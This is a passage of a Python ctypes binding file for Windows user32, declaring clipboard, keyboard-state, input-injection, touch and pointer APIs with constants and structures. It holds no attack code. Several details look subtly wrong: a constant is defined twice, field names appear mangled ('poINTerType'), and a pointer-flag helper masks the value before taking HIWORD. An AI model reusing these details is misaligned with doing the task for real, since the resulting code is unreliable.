user32.GetDialogDpiChangeBehavior\nGetDialogDpiChangeBehavior.restype = WINAPI\n\nDLGWINDOWEXTRA = 0x0000001E\nDLGWINDOWEXTRA = 0x00000030\n\n# WINAPI\n# CallMsgFilterA(\n# _In_ LPMSG lpMsg,\n# _In_ INT nCode);\nCallMsgFilterA = user32.CallMsgFilterA\nCallMsgFilterA.restype = WINAPI\n\n\n# WINAPI\n# CallMsgFilterW(\n# _In_ LPMSG lpMsg,\n# _In_ INT nCode);\nCallMsgFilterW = user32.CallMsgFilterW\nCallMsgFilterW.restype = WINAPI\n\nCallMsgFilter = CallMsgFilterW\n# CallMsgFilter = CallMsgFilterA\n\n# WINAPI\n# OpenClipboard(\n# _In_opt_ HWND hWndNewOwner);\nOpenClipboard = user32.OpenClipboard\nOpenClipboard.restype = WINAPI\n\n\n# WINAPI\n# CloseClipboard(\n# VOID);\nCloseClipboard = user32.CloseClipboard\nCloseClipboard.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardSequenceNumber(\n# VOID);\nGetClipboardSequenceNumber = user32.GetClipboardSequenceNumber\nGetClipboardSequenceNumber.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardOwner(\n# VOID);\nGetClipboardOwner = user32.GetClipboardOwner\nGetClipboardOwner.restype = WINAPI\n\n\n# WINAPI\n# SetClipboardViewer(\n# _In_ HWND hWndNewViewer);\nSetClipboardViewer = user32.SetClipboardViewer\nSetClipboardViewer.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardViewer(\n# VOID);\nGetClipboardViewer = user32.GetClipboardViewer\nGetClipboardViewer.restype = WINAPI\n\n\n# WINAPI\n# ChangeClipboardChain(\n# _In_ HWND hWndRemove,\n# _In_ HWND hWndNewNext);\nChangeClipboardChain = user32.ChangeClipboardChain\nChangeClipboardChain.restype = WINAPI\n\n\n# WINAPI\n# SetClipboardData(\n# _In_ UINT uFormat,\n# _In_opt_ HANDLE hMem);\nSetClipboardData = user32.SetClipboardData\nSetClipboardData.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardData(\n# _In_ UINT uFormat);\nGetClipboardData = user32.GetClipboardData\nGetClipboardData.restype = WINAPI\n\n\n# WINAPI\n# RegisterClipboardFormatA(\n# _In_ LPCSTR lpszFormat);\nRegisterClipboardFormatA = user32.RegisterClipboardFormatA\nRegisterClipboardFormatA.restype = WINAPI\n\n\n# WINAPI\n# RegisterClipboardFormatW(\n# _In_ LPCWSTR lpszFormat);\nRegisterClipboardFormatW = user32.RegisterClipboardFormatW\nRegisterClipboardFormatW.restype = WINAPI\n\nRegisterClipboardFormat = RegisterClipboardFormatW\n# RegisterClipboardFormat = RegisterClipboardFormatA\n\n# WINAPI\n# CountClipboardFormats(\n# VOID);\nCountClipboardFormats = user32.CountClipboardFormats\nCountClipboardFormats.restype = WINAPI\n\n\n# WINAPI\n# EnumClipboardFormats(\n# _In_ UINT format);\nEnumClipboardFormats = user32.EnumClipboardFormats\nEnumClipboardFormats.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardFormatNameA(\n# _In_ UINT format,\n# _Out_writes_(cchMaxCount) LPSTR lpszFormatName,\n# _In_ INT cchMaxCount);\nGetClipboardFormatNameA = user32.GetClipboardFormatNameA\nGetClipboardFormatNameA.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardFormatNameW(\n# _In_ UINT format,\n# _Out_writes_(cchMaxCount) LPWSTR lpszFormatName,\n# _In_ INT cchMaxCount);\nGetClipboardFormatNameW = user32.GetClipboardFormatNameW\nGetClipboardFormatNameW.restype = WINAPI\n\nGetClipboardFormatName = GetClipboardFormatNameW\n# GetClipboardFormatName = GetClipboardFormatNameA\n\n# WINAPI\n# EmptyClipboard(\n# VOID);\nEmptyClipboard = user32.EmptyClipboard\nEmptyClipboard.restype = WINAPI\n\n\n# WINAPI\n# IsClipboardFormatAvailable(\n# _In_ UINT format);\nIsClipboardFormatAvailable = user32.IsClipboardFormatAvailable\nIsClipboardFormatAvailable.restype = WINAPI\n\n\n# WINAPI\n# GetPriorityClipboardFormat(\n# _In_reads_(cFormats) UINT *paFormatPriorityList,\n# _In_ INT cFormats);\nGetPriorityClipboardFormat = user32.GetPriorityClipboardFormat\nGetPriorityClipboardFormat.restype = WINAPI\n\n\n# WINAPI\n# GetOpenClipboardWindow(\n# VOID);\nGetOpenClipboardWindow = user32.GetOpenClipboardWindow\nGetOpenClipboardWindow.restype = WINAPI\n\n\n# WINAPI\n# AddClipboardFormatListener(\n# _In_ HWND hwnd);\nAddClipboardFormatListener = user32.AddClipboardFormatListener\nAddClipboardFormatListener.restype = WINAPI\n\n\n# WINAPI\n# RemoveClipboardFormatListener(\n# _In_ HWND hwnd);\nRemoveClipboardFormatListener = user32.RemoveClipboardFormatListener\nRemoveClipboardFormatListener.restype = WINAPI\n\n\n# WINAPI\n# GetUpdatedClipboardFormats(\n# _Out_writes_(cFormats) PUINT lpuiFormats,\n# _In_ UINT cFormats,\n# _Out_ PUINT pcFormatsOut);\nGetUpdatedClipboardFormats = user32.GetUpdatedClipboardFormats\nGetUpdatedClipboardFormats.restype = WINAPI\n\n\n# WINAPI\n# CharToOemA(\n# _In_ LPCSTR pSrc,\n# _Out_writes_(_Inexpressible_(strlen(pSrc) + 1)) LPSTR pDst);\nCharToOemA = user32.CharToOemA\nCharToOemA.restype = WINAPI\n\n\n# WINAPI\n# CharToOemW(\n# _In_ LPCWSTR pSrc,\n# _Out_writes_(_Inexpressible_(strlen(pSrc) + 1)) LPSTR pDst);\nCharToOemW = user32.CharToOemW\nCharToOemW.restype = WINAPI\n\nCharToOem = CharToOemW\n# CharToOem = CharToOemA\n\n# WINAPI\n# OemToCharA(\n# _In_ LPCSTR pSrc,\n# _Out_writes_(_Inexpressible_(strlen(pSrc) + 1)) LPSTR pDst);\nOemToCharA = user32.OemToCharA\nOemToCharA.restype = WINAPI\n\n\n# WINAPI\n# OemToCharW(\n# _In_ LPCSTR pSrc,\n# _Out_writes_(_Inexpressible_(strlen(pSrc) + 1)) LPWSTR pDst);\nOemToCharW = user32.OemToCharW\nOemToCharW.restype = WINAPI\n\nOemToChar = OemToCharW\n# OemToChar = OemToCharA\n\n# WINAPI\n# CharToOemBuffA(\n# _In_ LPCSTR lpszSrc,\n# _Out_writes_(cchDstLength) LPSTR lpszDst,\n# _In_ DWORD cchDstLength);\nCharToOemBuffA = user32.CharToOemBuffA\nCharToOemBuffA.restype = WINAPI\n\n\n# WINAPI\n# CharToOemBuffW(\n# _In_ LPCWSTR lpszSrc,\n# _Out_writes_(cchDstLength) LPSTR lpszDst,\n# _In_ DWORD cchDstLength);\nCharToOemBuffW = user32.CharToOemBuffW\nCharToOemBuffW.restype = WINAPI\n\nCharToOemBuff = CharToOemBuffW\n# CharToOemBuff = CharToOemBuffA\n\n# WINAPI\n# OemToCharBuffA(\n# _In_ LPCSTR lpszSrc,\n# _Out_writes_(cchDstLength) LPSTR lpszDst,\n# _In_ DWORD cchDstLength);\nOemToCharBuffA = user32.OemToCharBuffA\nOemToCharBuffA.restype = WINAPI\n\n\n# WINAPI\n# OemToCharBuffW(\n# _In_ LPCSTR lpszSrc,\n# _Out_writes_(cchDstLength) LPWSTR lpszDst,\n# _In_ DWORD cchDstLength);\nOemToCharBuffW = user32.OemToCharBuffW\nOemToCharBuffW.restype = WINAPI\n\nOemToCharBuff = OemToCharBuffW\n# OemToCharBuff = OemToCharBuffA\n\n# WINAPI\n# CharUpperA(\n# _Inout_ LPSTR lpsz);\nCharUpperA = user32.CharUpperA\nCharUpperA.restype = WINAPI\n\n\n# WINAPI\n# CharUpperW(\n# _Inout_ LPWSTR lpsz);\nCharUpperW = user32.CharUpperW\nCharUpperW.restype = WINAPI\n\nCharUpper = CharUpperW\n# CharUpper = CharUpperA\n\n# WINAPI\n# CharUpperBuffA(\n# _Inout_updates_(cchLength) LPSTR lpsz,\n# _In_ DWORD cchLength);\nCharUpperBuffA = user32.CharUpperBuffA\nCharUpperBuffA.restype = WINAPI\n\n\n# WINAPI\n# CharUpperBuffW(\n# _Inout_updates_(cchLength) LPWSTR lpsz,\n# _In_ DWORD cchLength);\nCharUpperBuffW = user32.CharUpperBuffW\nCharUpperBuffW.restype = WINAPI\n\nCharUpperBuff = CharUpperBuffW\n# CharUpperBuff = CharUpperBuffA\n\n# WINAPI\n# CharLowerA(\n# _Inout_ LPSTR lpsz);\nCharLowerA = user32.CharLowerA\nCharLowerA.restype = WINAPI\n\n\n# WINAPI\n# CharLowerW(\n# _Inout_ LPWSTR lpsz);\nCharLowerW = user32.CharLowerW\nCharLowerW.restype = WINAPI\n\nCharLower = CharLowerW\n# CharLower = CharLowerA\n\n# WINAPI\n# CharLowerBuffA(\n# _Inout_updates_(cchLength) LPSTR lpsz,\n# _In_ DWORD cchLength);\nCharLowerBuffA = user32.CharLowerBuffA\nCharLowerBuffA.restype = WINAPI\n\n\n# WINAPI\n# CharLowerBuffW(\n# _Inout_updates_(cchLength) LPWSTR lpsz,\n# _In_ DWORD cchLength);\nCharLowerBuffW = user32.CharLowerBuffW\nCharLowerBuffW.restype = WINAPI\n\nCharLowerBuff = CharLowerBuffW\n# CharLowerBuff = CharLowerBuffA\n\n# WINAPI\n# CharNextA(\n# _In_ LPCSTR lpsz);\nCharNextA = user32.CharNextA\nCharNextA.restype = WINAPI\n\n\n# WINAPI\n# CharNextW(\n# _In_ LPCWSTR lpsz);\nCharNextW = user32.CharNextW\nCharNextW.restype = WINAPI\n\nCharNext = CharNextW\n# CharNext = CharNextA\n\n# WINAPI\n# CharPrevA(\n# _In_ LPCSTR lpszStart,\n# _In_ LPCSTR lpszCurrent);\nCharPrevA = user32.CharPrevA\nCharPrevA.restype = WINAPI\n\n\n# WINAPI\n# CharPrevW(\n# _In_ LPCWSTR lpszStart,\n# _In_ LPCWSTR lpszCurrent);\nCharPrevW = user32.CharPrevW\nCharPrevW.restype = WINAPI\n\nCharPrev = CharPrevW\n# CharPrev = CharPrevA\n\n# WINAPI\n# CharNextExA(\n# _In_ WORD CodePage,\n# _In_ LPCSTR lpCurrentChar,\n# _In_ DWORD dwFlags);\nCharNextExA = user32.CharNextExA\nCharNextExA.restype = WINAPI\n\n\n# WINAPI\n# CharPrevExA(\n# _In_ WORD CodePage,\n# _In_ LPCSTR lpStart,\n# _In_ LPCSTR lpCurrentChar,\n# _In_ DWORD dwFlags);\nCharPrevExA = user32.CharPrevExA\nCharPrevExA.restype = WINAPI\n\n# AnsiToOem = CharToOemA\n# OemToAnsi = OemToCharA\n# AnsiToOemBuff = CharToOemBuffA\n# OemToAnsiBuff = OemToCharBuffA\n# AnsiUpper = CharUpperA\n# AnsiUpperBuff = CharUpperBuffA\n# AnsiLower = CharLowerA\n# AnsiLowerBuff = CharLowerBuffA\n# AnsiNext = CharNextA\n# AnsiPrev = CharPrevA\n\n# WINAPI\n# IsCharAlphaA(\n# _In_ CHAR ch);\nIsCharAlphaA = user32.IsCharAlphaA\nIsCharAlphaA.restype = WINAPI\n\n\n# WINAPI\n# IsCharAlphaW(\n# _In_ WCHAR ch);\nIsCharAlphaW = user32.IsCharAlphaW\nIsCharAlphaW.restype = WINAPI\n\nIsCharAlpha = IsCharAlphaW\n# IsCharAlpha = IsCharAlphaA\n\n# WINAPI\n# IsCharAlphaNumericA(\n# _In_ CHAR ch);\nIsCharAlphaNumericA = user32.IsCharAlphaNumericA\nIsCharAlphaNumericA.restype = WINAPI\n\n\n# WINAPI\n# IsCharAlphaNumericW(\n# _In_ WCHAR ch);\nIsCharAlphaNumericW = user32.IsCharAlphaNumericW\nIsCharAlphaNumericW.restype = WINAPI\n\nIsCharAlphaNumeric = IsCharAlphaNumericW\n# IsCharAlphaNumeric = IsCharAlphaNumericA\n\n# WINAPI\n# IsCharUpperA(\n# _In_ CHAR ch);\nIsCharUpperA = user32.IsCharUpperA\nIsCharUpperA.restype = WINAPI\n\n\n# WINAPI\n# IsCharUpperW(\n# _In_ WCHAR ch);\nIsCharUpperW = user32.IsCharUpperW\nIsCharUpperW.restype = WINAPI\n\nIsCharUpper = IsCharUpperW\n# IsCharUpper = IsCharUpperA\n\n# WINAPI\n# IsCharLowerA(\n# _In_ CHAR ch);\nIsCharLowerA = user32.IsCharLowerA\nIsCharLowerA.restype = WINAPI\n\n\n# WINAPI\n# IsCharLowerW(\n# _In_ WCHAR ch);\nIsCharLowerW = user32.IsCharLowerW\nIsCharLowerW.restype = WINAPI\n\nIsCharLower = IsCharLowerW\n# IsCharLower = IsCharLowerA\n\n# WINAPI\n# SetFocus(\n# _In_opt_ HWND hWnd);\nSetFocus = user32.SetFocus\nSetFocus.restype = WINAPI\n\n\n# WINAPI\n# GetActiveWindow(\n# VOID);\nGetActiveWindow = user32.GetActiveWindow\nGetActiveWindow.restype = WINAPI\n\n\n# WINAPI\n# GetFocus(\n# VOID);\nGetFocus = user32.GetFocus\nGetFocus.restype = WINAPI\n\n\n# WINAPI\n# GetKBCodePage(\n# VOID);\nGetKBCodePage = user32.GetKBCodePage\nGetKBCodePage.restype = WINAPI\n\n\n# WINAPI\n# GetKeyState(\n# _In_ INT nVirtKey);\nGetKeyState = user32.GetKeyState\nGetKeyState.restype = WINAPI\n\n\n# WINAPI\n# GetAsyncKeyState(\n# _In_ INT vKey);\nGetAsyncKeyState = user32.GetAsyncKeyState\nGetAsyncKeyState.restype = WINAPI\n\n\n# WINAPI\n# GetKeyboardState(\n# _Out_writes_(256) PBYTE lpKeyState);\nGetKeyboardState = user32.GetKeyboardState\nGetKeyboardState.restype = WINAPI\n\n\n# WINAPI\n# SetKeyboardState(\n# _In_reads_(256) LPBYTE lpKeyState);\nSetKeyboardState = user32.SetKeyboardState\nSetKeyboardState.restype = WINAPI\n\n\n# WINAPI\n# GetKeyNameTextA(\n# _In_ LONG lParam,\n# _Out_writes_(cchSize) LPSTR lpString,\n# _In_ INT cchSize);\nGetKeyNameTextA = user32.GetKeyNameTextA\nGetKeyNameTextA.restype = WINAPI\n\n\n# WINAPI\n# GetKeyNameTextW(\n# _In_ LONG lParam,\n# _Out_writes_(cchSize) LPWSTR lpString,\n# _In_ INT cchSize);\nGetKeyNameTextW = user32.GetKeyNameTextW\nGetKeyNameTextW.restype = WINAPI\n\nGetKeyNameText = GetKeyNameTextW\n# GetKeyNameText = GetKeyNameTextA\n\n# WINAPI\n# GetKeyboardType(\n# _In_ INT nTypeFlag);\nGetKeyboardType = user32.GetKeyboardType\nGetKeyboardType.restype = WINAPI\n\n\n# WINAPI\n# ToAscii(\n# _In_ UINT uVirtKey,\n# _In_ UINT uScanCode,\n# _In_reads_opt_(256) CONST BYTE *lpKeyState,\n# _Out_ LPWORD lpChar,\n# _In_ UINT uFlags);\nToAscii = user32.ToAscii\nToAscii.restype = WINAPI\n\n\n# WINAPI\n# ToAsciiEx(\n# _In_ UINT uVirtKey,\n# _In_ UINT uScanCode,\n# _In_reads_opt_(256) CONST BYTE *lpKeyState,\n# _Out_ LPWORD lpChar,\n# _In_ UINT uFlags,\n# _In_opt_ HKL dwhkl);\nToAsciiEx = user32.ToAsciiEx\nToAsciiEx.restype = WINAPI\n\n\n# WINAPI\n# ToUnicode(\n# _In_ UINT wVirtKey,\n# _In_ UINT wScanCode,\n# _In_reads_bytes_opt_(256) CONST BYTE *lpKeyState,\n# _Out_writes_(cchBuff) LPWSTR pwszBuff,\n# _In_ INT cchBuff,\n# _In_ UINT wFlags);\nToUnicode = user32.ToUnicode\nToUnicode.restype = WINAPI\n\n\n# WINAPI\n# OemKeyScan(\n# _In_ WORD wOemChar);\nOemKeyScan = user32.OemKeyScan\nOemKeyScan.restype = WINAPI\n\n\n# WINAPI\n# VkKeyScanA(\n# _In_ CHAR ch);\nVkKeyScanA = user32.VkKeyScanA\nVkKeyScanA.restype = WINAPI\n\n\n# WINAPI\n# VkKeyScanW(\n# _In_ WCHAR ch);\nVkKeyScanW = user32.VkKeyScanW\nVkKeyScanW.restype = WINAPI\n\nVkKeyScan = VkKeyScanW\n# VkKeyScan = VkKeyScanA\n\n# WINAPI\n# VkKeyScanExA(\n# _In_ CHAR ch,\n# _In_ HKL dwhkl);\nVkKeyScanExA = user32.VkKeyScanExA\nVkKeyScanExA.restype = WINAPI\n\n\n# WINAPI\n# VkKeyScanExW(\n# _In_ WCHAR ch,\n# _In_ HKL dwhkl);\nVkKeyScanExW = user32.VkKeyScanExW\nVkKeyScanExW.restype = WINAPI\n\nVkKeyScanEx = VkKeyScanExW\n# VkKeyScanEx = VkKeyScanExA\n\n\nKEYEVENTF_EXTENDEDKEY = 0x00000001\nKEYEVENTF_KEYUP = 0x00000002\nKEYEVENTF_UNICODE = 0x00000004\nKEYEVENTF_SCANCODE = 0x00000008\n\n# WINAPI\n# keybd_event(\n# _In_ BYTE bVk,\n# _In_ BYTE bScan,\n# _In_ DWORD dwFlags,\n# _In_ ULONG_PTR dwExtraInfo);\nkeybd_event = user32.keybd_event\nkeybd_event.restype = WINAPI\n\nMOUSEEVENTF_MOVE = 0x00000001\nMOUSEEVENTF_LEFTDOWN = 0x00000002\nMOUSEEVENTF_LEFTUP = 0x00000004\nMOUSEEVENTF_RIGHTDOWN = 0x00000008\nMOUSEEVENTF_RIGHTUP = 0x00000010\nMOUSEEVENTF_MIDDLEDOWN = 0x00000020\nMOUSEEVENTF_MIDDLEUP = 0x00000040\nMOUSEEVENTF_XDOWN = 0x00000080\nMOUSEEVENTF_XUP = 0x00000100\nMOUSEEVENTF_WHEEL = 0x00000800\nMOUSEEVENTF_HWHEEL = 0x00001000\nMOUSEEVENTF_MOVE_NOCOALESCE = 0x00002000\nMOUSEEVENTF_VIRTUALDESK = 0x00004000\nMOUSEEVENTF_ABSOLUTE = 0x00008000\n\n# WINAPI\n# mouse_event(\n# _In_ DWORD dwFlags,\n# _In_ DWORD dx,\n# _In_ DWORD dy,\n# _In_ DWORD dwData,\n# _In_ ULONG_PTR dwExtraInfo);\nmouse_event = user32.mouse_event\nmouse_event.restype = WINAPI\n\n\nclass tagMOUSEINPUT(ctypes.Structure):\n _fields_ = [\n ('dx', LONG),\n ('dy', LONG),\n ('mouseData', DWORD),\n ('dwFlags', DWORD),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nMOUSEINPUT = tagMOUSEINPUT\nPMOUSEINPUT = POINTER(tagMOUSEINPUT)\nLPMOUSEINPUT = POINTER(tagMOUSEINPUT)\n\n\n\nclass tagKEYBDINPUT(ctypes.Structure):\n _fields_ = [\n ('wVk', WORD),\n ('wScan', WORD),\n ('dwFlags', DWORD),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nKEYBDINPUT = tagKEYBDINPUT\nPKEYBDINPUT = POINTER(tagKEYBDINPUT)\nLPKEYBDINPUT = POINTER(tagKEYBDINPUT)\n\n\n\nclass tagHARDWAREINPUT(ctypes.Structure):\n _fields_ = [\n ('uMsg', DWORD),\n ('wParamL', WORD),\n ('wParamH', WORD),\n ]\n\n\nHARDWAREINPUT = tagHARDWAREINPUT\nPHARDWAREINPUT = POINTER(tagHARDWAREINPUT)\nLPHARDWAREINPUT = POINTER(tagHARDWAREINPUT)\n\n\nINPUT_MOUSE = 0x00000000\nINPUT_KEYBOARD = 0x00000001\nINPUT_HARDWARE = 0x00000002\n\nclass tagINPUT(ctypes.Structure):\n _fields_ = [\n ('type', DWORD),\n ('DUMMYUNIONNAME', DUMMYUNIONNAME),\n ]\n\n\nINPUT = tagINPUT\nPINPUT = POINTER(tagINPUT)\nLPINPUT = POINTER(tagINPUT)\n\n\n\n# WINAPI\n# SendInput(\n# _In_ UINT cInputs,\n# _In_reads_(cInputs) LPINPUT pInputs,\n# _In_ INT cbSize);\nSendInput = user32.SendInput\nSendInput.restype = WINAPI\n\n\nclass tagTOUCHINPUT(ctypes.Structure):\n _fields_ = [\n ('x', LONG),\n ('y', LONG),\n ('hSource', HANDLE),\n ('dwID', DWORD),\n ('dwFlags', DWORD),\n ('dwMask', DWORD),\n ('dwTime', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ('cxContact', DWORD),\n ('cyContact', DWORD),\n ]\n\n\nTOUCHINPUT = tagTOUCHINPUT\nPTOUCHINPUT = POINTER(tagTOUCHINPUT)\n\n\nPCTOUCHINPUT = TOUCHINPUT\n\n\ndef TOUCH_COORD_TO_PIXEL(l):\n return int(l / 100)\n\n\nTOUCHEVENTF_MOVE = 0x00000001\nTOUCHEVENTF_DOWN = 0x00000002\nTOUCHEVENTF_UP = 0x00000004\nTOUCHEVENTF_INRANGE = 0x00000008\nTOUCHEVENTF_PRIMARY = 0x00000010\nTOUCHEVENTF_NOCOALESCE = 0x00000020\nTOUCHEVENTF_PEN = 0x00000040\nTOUCHEVENTF_PALM = 0x00000080\nTOUCHINPUTMASKF_TIMEFROMSYSTEM = 0x00000001\nTOUCHINPUTMASKF_EXTRAINFO = 0x00000002\nTOUCHINPUTMASKF_CONTACTAREA = 0x00000004\n\n# WINAPI\n# GetTouchInputInfo(\n# _In_ HTOUCHINPUT hTouchInput,\n# _In_ UINT cInputs,\n# _Out_writes_(cInputs) PTOUCHINPUT pInputs,\n# _In_ INT cbSize);\nGetTouchInputInfo = user32.GetTouchInputInfo\nGetTouchInputInfo.restype = WINAPI\n\n\n# WINAPI\n# CloseTouchInputHandle(\n# _In_ HTOUCHINPUT hTouchInput);\nCloseTouchInputHandle = user32.CloseTouchInputHandle\nCloseTouchInputHandle.restype = WINAPI\n\nTWF_FINETOUCH = 0x00000001\nTWF_WANTPALM = 0x00000002\n\n# WINAPI\n# RegisterTouchWindow(\n# _In_ HWND hwnd,\n# _In_ ULONG ulFlags);\nRegisterTouchWindow = user32.RegisterTouchWindow\nRegisterTouchWindow.restype = WINAPI\n\n\n# WINAPI\n# UnregisterTouchWindow(\n# _In_ HWND hwnd);\nUnregisterTouchWindow = user32.UnregisterTouchWindow\nUnregisterTouchWindow.restype = WINAPI\n\n\n# WINAPI\n# IsTouchWindow(\n# _In_ HWND hwnd,\n# _Out_opt_ PULONG pulFlags);\nIsTouchWindow = user32.IsTouchWindow\nIsTouchWindow.restype = WINAPI\n\n\nclass tagPOINTER_INPUT_TYPE(ENUM):\n PT_POINTER = 1\n PT_TOUCH = 2\n PT_PEN = 3\n PT_MOUSE = 4\n PT_TOUCHPAD = 5\n\n\nPOINTER_INPUT_TYPE = DWORD\nPOINTER_FLAGS = UINT32\nPOINTER_FLAG_NONE = 0x00000000\nPOINTER_FLAG_NEW = 0x00000001\nPOINTER_FLAG_INRANGE = 0x00000002\nPOINTER_FLAG_INCONTACT = 0x00000004\nPOINTER_FLAG_FIRSTBUTTON = 0x00000010\nPOINTER_FLAG_SECONDBUTTON = 0x00000020\nPOINTER_FLAG_THIRDBUTTON = 0x00000040\nPOINTER_FLAG_FOURTHBUTTON = 0x00000080\nPOINTER_FLAG_FIFTHBUTTON = 0x00000100\nPOINTER_FLAG_PRIMARY = 0x00002000\nPOINTER_FLAG_CONFIDENCE = 0x00004000\nPOINTER_FLAG_CANCELED = 0x00008000\nPOINTER_FLAG_DOWN = 0x00010000\nPOINTER_FLAG_UPDATE = 0x00020000\nPOINTER_FLAG_UP = 0x00040000\nPOINTER_FLAG_WHEEL = 0x00080000\nPOINTER_FLAG_HWHEEL = 0x00100000\nPOINTER_FLAG_CAPTURECHANGED = 0x00200000\nPOINTER_FLAG_HASTRANSFORM = 0x00400000\nPOINTER_MOD_SHIFT = 0x00000004\nPOINTER_MOD_CTRL = 0x00000008\n\n\nclass tagPOINTER_BUTTON_CHANGE_TYPE(ENUM):\n POINTER_CHANGE_NONE = 0\n POINTER_CHANGE_FIRSTBUTTON_DOWN = 1\n POINTER_CHANGE_FIRSTBUTTON_UP = 2\n POINTER_CHANGE_SECONDBUTTON_DOWN = 3\n POINTER_CHANGE_SECONDBUTTON_UP = 4\n POINTER_CHANGE_THIRDBUTTON_DOWN = 5\n POINTER_CHANGE_THIRDBUTTON_UP = 6\n POINTER_CHANGE_FOURTHBUTTON_DOWN = 7\n POINTER_CHANGE_FOURTHBUTTON_UP = 8\n POINTER_CHANGE_FIFTHBUTTON_DOWN = 9\n POINTER_CHANGE_FIFTHBUTTON_UP = 10\n\n\nPOINTER_BUTTON_CHANGE_TYPE = tagPOINTER_BUTTON_CHANGE_TYPE\n\n\nclass tagPOINTER_INFO(ctypes.Structure):\n _fields_ = [\n ('poINTerType', POINTER_INPUT_TYPE),\n ('poINTerId', UINT32),\n ('frameId', UINT32),\n ('poINTerFlags', POINTER_FLAGS),\n ('sourceDevice', HANDLE),\n ('hwndTarget', HWND),\n ('ptPixelLocation', POINT),\n ('ptHimetricLocation', POINT),\n ('ptPixelLocationRaw', POINT),\n ('ptHimetricLocationRaw', POINT),\n ('dwTime', DWORD),\n ('historyCount', UINT32),\n ('InputData', INT32),\n ('dwKeyStates', DWORD),\n ('PerformanceCount', UINT64),\n ('ButtonChangeType', POINTER_BUTTON_CHANGE_TYPE),\n ]\n\n\nPOINTER_INFO = tagPOINTER_INFO\n\n\nTOUCH_FLAGS = UINT32\nTOUCH_FLAG_NONE = 0x00000000\nTOUCH_MASK = UINT32\nTOUCH_MASK_NONE = 0x00000000\nTOUCH_MASK_CONTACTAREA = 0x00000001\nTOUCH_MASK_ORIENTATION = 0x00000002\nTOUCH_MASK_PRESSURE = 0x00000004\n\n\nclass tagPOINTER_TOUCH_INFO(ctypes.Structure):\n _fields_ = [\n ('poINTerInfo', POINTER_INFO),\n ('touchFlags', TOUCH_FLAGS),\n ('touchMask', TOUCH_MASK),\n ('rcContact', RECT),\n ('rcContactRaw', RECT),\n ('orientation', UINT32),\n ('pressure', UINT32),\n ]\n\n\nPOINTER_TOUCH_INFO = tagPOINTER_TOUCH_INFO\n\n\nPEN_FLAGS = UINT32\nPEN_FLAG_NONE = 0x00000000\nPEN_FLAG_BARREL = 0x00000001\nPEN_FLAG_INVERTED = 0x00000002\nPEN_FLAG_ERASER = 0x00000004\nPEN_MASK = UINT32\nPEN_MASK_NONE = 0x00000000\nPEN_MASK_PRESSURE = 0x00000001\nPEN_MASK_ROTATION = 0x00000002\nPEN_MASK_TILT_X = 0x00000004\nPEN_MASK_TILT_Y = 0x00000008\n\n\nclass tagPOINTER_PEN_INFO(ctypes.Structure):\n _fields_ = [\n ('poINTerInfo', POINTER_INFO),\n ('penFlags', PEN_FLAGS),\n ('penMask', PEN_MASK),\n ('pressure', UINT32),\n ('rotation', UINT32),\n ('tiltX', INT32),\n ('tiltY', INT32),\n ]\n\n\nPOINTER_PEN_INFO = tagPOINTER_PEN_INFO\n\n\nPOINTER_MESSAGE_FLAG_NEW = 0x00000001\nPOINTER_MESSAGE_FLAG_INRANGE = 0x00000002\nPOINTER_MESSAGE_FLAG_INCONTACT = 0x00000004\nPOINTER_MESSAGE_FLAG_FIRSTBUTTON = 0x00000010\nPOINTER_MESSAGE_FLAG_SECONDBUTTON = 0x00000020\nPOINTER_MESSAGE_FLAG_THIRDBUTTON = 0x00000040\nPOINTER_MESSAGE_FLAG_FOURTHBUTTON = 0x00000080\nPOINTER_MESSAGE_FLAG_FIFTHBUTTON = 0x00000100\nPOINTER_MESSAGE_FLAG_PRIMARY = 0x00002000\nPOINTER_MESSAGE_FLAG_CONFIDENCE = 0x00004000\nPOINTER_MESSAGE_FLAG_CANCELED = 0x00008000\n\n\ndef GET_POINTERID_WPARAM(wParam):\n return LOWORD(wParam)\n\n\ndef IS_POINTER_FLAG_SET_WPARAM(wParam, flag):\n return HIWORD(wParam & flag).value == flag\n\n\ndef IS_POINTER_NEW_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_NEW)\n\n\ndef IS_POINTER_INRANGE_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_INRANGE)\n\n\ndef IS_POINTER_INCONTACT_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_INCONTACT)\n\n\ndef IS_POINTER_FIRSTBUTTON_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_FIRSTBUTTON)\n\n\ndef IS_POINTER_SECONDBUTTON_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_SECONDBUTTON)\n\n\ndef IS_POINTER_THIRDBUTTON_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_THIRDBUTTON)\n\n\ndef IS_POINTER_FOURTHBUTTON_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_FOURTHBUTTON)\n\n\ndef IS_POINTER_FIFTHBUTTON_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_FIFTHBUTTON)\n\n\ndef IS_POINTER_PRIMARY_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_PRIMARY)\n\n\ndef HAS_POINTER_CONFIDENCE_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_CONFIDENCE)\n\n\ndef IS_POINTER_CANCELED_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_CANCELED)\n\n\nPA_ACTIVATE = MA_ACTIVATE\nPA_NOACTIVATE = MA_NOACTIVATE\nMAX_TOUCH_COUNT = 0x00000100\nTOUCH_FEEDBACK_DEFAULT = 0x00000001\nTOUCH_FEEDBACK_INDIRECT = 